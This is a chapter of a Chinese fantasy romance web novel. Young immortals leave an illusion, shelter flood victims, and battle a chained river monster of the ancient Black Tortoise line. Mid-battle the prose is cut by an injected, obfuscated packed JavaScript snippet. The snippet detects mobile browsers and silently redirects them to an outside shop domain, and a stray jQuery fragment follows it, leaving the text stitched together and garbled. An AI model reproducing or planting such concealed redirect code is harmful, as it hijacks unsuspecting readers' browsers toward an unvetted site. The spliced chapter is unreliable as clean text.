清来的手从他肩膀慢慢滑下来,在就要垂落的时候,若风一下子稳稳接住握在手心里。
“师父我……”
“没事,等出去了再说。”
幻境瞬间土崩瓦解,欣桃感觉身体往下重重一坠,沉到水底里,一双手抓住了她,她向四周望去,发现四人此刻还在幽深的井水里。
岁除朝她挤眉弄眼,欣桃读懂了他的意思,转头想向去拉清来,却发现若风已经带着清来往上游去。欣桃没有犹豫,跟着往上游去。
等他们出了水面,雨已经停了,潮湿沉重的身子渐渐变得干燥轻灵,护身的灵光也渐渐恢复。
青鸾和红鸾一直在水面上徘徊,看见他们游出水面,立即飞过来。
·
回去的路上,四人都没有说话,是累了,也是各怀心事。
欣桃知道幻境里的事情一定会刻在姐姐和若风心里,可无法确定他们到底分不分得清其中的感情究竟是彼此的,还是那狐妖与那仙人的。
洪水开始慢慢退去,欣桃他们回到暂时安置村民的地方后,将这个消息告诉了村民们。
村民们欢呼雀跃,对欣桃他们感恩戴德,连连地道谢。
甚至有一男孩子还给欣桃跪下来,说要拜师学艺。欣桃自然没有办法答应,毕竟此人没有成仙的机缘,她不能带他走,而且自己不过是一名小仙,还没资格收徒。
久符从人群硬挤进来,拉起欣桃的手,“这次怎么去了这么久?有没有受伤?你的裙子怎么破了?”
“啊?”欣桃低头看了一眼自己裙子,这才想起来岁除手上还有伤,“没事,我没受伤,是岁除受了点伤,你去帮他看看吧。”
“不用!”听声音回答得又快又急。
欣桃回过头看他,他已经解下她之前为他做的包扎,手上的伤口已经完全愈合,脸色也红润了。
欣桃暗自惊叹,刚恢复法力就痊愈了,真是强大到可怕的自愈力。
不过这一次她回过头,却发现他没有像往常一样盯着她看,倒是一直盯着久符看。她奇怪地来回看他们两人,两人就这么相互看了许久,一句话也不说,奇怪得很!
“怎么了?”
“没什么。欣桃你饿了吧?我给你留了点水果。”久符拉着欣桃从岁除身边走过离开人群,“这些水果味道清甜,以前我也从未吃过,你尝尝。”
“好啊。我正好饿了。”
这夜因为洪水还没完全退去,还不能回村子里去,村民们围着火堆相互依偎着睡着了。欣桃他们则在一旁的树下打坐休息。
忙活了一整天,欣桃身体累,心情也累,本也想早些睡了,可久符一会儿给她剥香蕉,一会儿给她剥橘子,一会儿捧着水袋子来问她渴不渴。
欣桃自然知道久符因为她提出取消婚约,对她心中愧疚,所以比往日对她更殷勤了。但他忽然这样,她有些不适应。
“久符,我不吃,也不喝。今日忙活许久,我想早些休息。明日等水退了,那河下的妖怪估计会有所行动,现在得养精蓄锐。”欣桃说着闭目养神。
“好,那你休息。我不打扰你。”
说是不打扰,可不说话后,欣桃感觉精神更加放松不下来。
岁除就坐在旁边,目光时不时就往她和久符身上落,或者更准确地说是和久符目光相互对上了。
可欣桃总觉得岁除不像是看上久符,想收他为徒,倒是恍惚觉得这无形的空间里风起云涌,刀光剑影。
而她坐在中间,总觉得有点......风大?
她撅起屁股往后挪了一点,给他们腾出多一些对视的空间,可这两人的目光又同时投射到她身上。
欣桃动了动嘴角,睁开眼,“你们相互看一晚上了,作何呢?男子汉大丈夫,有什么话可以直说,我给你腾位置。要是有我在不方便说,我到一边去。”
欣桃刚起身,两个人又同时拉她坐下来。
“这又是为何?”
两人都收回目光,谁也不看,说出的话却一模一样。
“我们没什么话可说。”
“我真的很累了!没什么话可说就别看来看去的,我夹在中间很伤神的。”本来她就忧心姐姐和若风的事情,这会儿他们两个又来这一出,真是嫌她还不够烦!
欣桃一脸疲惫,满眼责备,两人皆是一愣。
“你们到底还休不休息?”
“休息吧,明日会有一战。”岁除道。
“你还知道啊!”欣桃愤愤道:“都给我闭上眼睛!”
欣桃盯着他们都闭上眼睛后才放下心闭目养神,之后又提心吊胆地静候了一下,感觉两人确实都安静了,才渐渐睡去。
翌日,天色还未完全亮起来,村子方向传来一声轰隆,地面开始震颤,林木摇晃。
欣桃立即意识到是那河下的妖怪醒了!
村民们也惊醒了,慌乱地叫喊着是什么回事。
欣桃他们连忙安抚村民们这里很安全,只要待在这里哪里不要去就不会有性命之忧,然后一行五人往村子的方向飞去。
还没赶到村子,妖怪礁石一般的后背稍稍露出水面,它似起身还跺了一下脚,顿时引起一面数丈之高的巨浪。
眼看那巨浪又要扑向村子,岁除一个闪身出现在巨浪面前,弹出结界挡住巨浪,巨浪顿时反向拍打在那妖怪背上。
那妖怪感受到岁除的灵力,变得格外狂躁,愤怒地发出一声吼叫,整个身体从水下噌的一下跃出来,就像一座巨大的黑色岛屿自海底拔起。河水如瀑布从它背上倾泻而下,落入河面,河面便像沸腾的水不停地翻涌。
它的背上,布满厚厚的水藻和贝类,还有些分辨不出是什么东西的黑色疙瘩,层层叠叠。
欣桃他们刚赶到,便感觉到令天震地荡的妖气和怨恨,然后就看到它如同嶙峋怪石的头颅从一边弹出。
没错,是弹出。但神奇的是,那脑袋并没有掉下来,还安安稳稳地架在它柔软又伸缩自如的脖子上。
它睁开浑浊的黄色眼睛,张开巨口,扭头朝岁除发出一声震耳欲聋的怒吼,“屠苏老头,我要你的命!啊......”
随着它的吼叫,夹杂着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594715|203607||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
令人作呕的腥臭气波连续不断地朝着欣桃他们震来,若是没有及时抵挡,必定会被那气波弹开老远,幸亏若风反应及时弹出结界护住他们。
而就在这时,狂风骤起,黑云蔽日,在那妖怪四周数不清的水龙卷攀天而起,最后汇聚到一起朝着岁除冲过去!
岁除抬手变出生死剑,一跃而起,当空将那水龙卷劈成两半,化作无数细雨飘飘然然而下。
“怎么不是那个死老头?你是何人?”
那妖怪见自己的攻击就这么被轻易化解,越发愤怒,浑浊的眼睛里似能烧出一团火来。它转身抬脚重重一踏脚,又一次震得巨浪滔天。
岁除以为它想故技重施,迅速凝聚灵力于生死剑,却不想它踏着巨浪而起,张开巨口朝喷出一道强劲的冰霜。
忽然一声龙啸,一条火龙飞腾而来与那道冰霜正面相撞,伴随着巨大的轰鸣声,冰霜化作烟雾笼罩四方天地。
而就在这烟雾弥漫中,岁除依旧精准地判定了那妖怪的位置,挥剑砍下。
一道金光剑气划过天空,劈开了烟雾,正好击中那妖怪的头部。
那妖怪痛呼一声,怨恨之气大涨,直冲云霄。
就在这时,欣桃注意到那妖怪的异常,它每一次转身,每一次踏步,似乎都受到了某种牵制,水下还不停地传来几乎不可闻的金石碰撞之声。
她交代清来和久符候在一旁不要轻举妄动,然后纵身跳入水下,朝那妖怪游去。果然,她看到几条粗大的锁链缠在那妖怪的的四肢上,锁链的另一端就栓在之前她与岁除看到的那块圆形石板上。
她快速游过去,一边躲避着那妖怪的动作,一边观察那石板上的咒文。渐渐,她明白了这些咒文便是截断河流,将河水通过法阵流入地下,并加固锁链困住那妖怪在此镇守的关键。
只是这些咒文经年累月被那妖怪磨平了许多,法力便减弱了不少,因此近几年才会引发越来越大的洪水。
但能在水下镇守如此威力强大的法阵的妖,绝非一般的妖,必定是属水的大妖。
方才观察咒文的时候,欣桃就注意到,那妖的四足形状犹如撑天大柱,与龟类相似。她抬头一望,奋力往上游到那妖的腹部下方,如她所料,不是一般的龟甲纹。
其花纹如碧波荡漾,颜色黑白相间,有阴有阳。
是上古神兽,玄龟一脉!
这时,河面上传来那妖怪悲天恸地又幽怨地叫喊:
“屠苏老头,待我磨平法阵上的咒文出来,我一定找到你,将你碎尸万段!”
“你把我困在这河底六百年,不见天日,不能动弹,我一日都不敢把你忘记!”
“什么臭鱼烂虾也敢往我背上爬!”
“你个臭虫竟然敢钻我背上盖房子!”
“统统都给我去死!”
“尔等凡人蝼蚁,也敢与我叫嚣,看老子一脚将你踩烂。”
忽然间妖气震荡,隐约间还有魔气渐生。欣桃刚暗叫不好,便听到岁除大喊:“欣桃!出来!”
欣桃赶紧跃出水面,正见岁除动了杀心。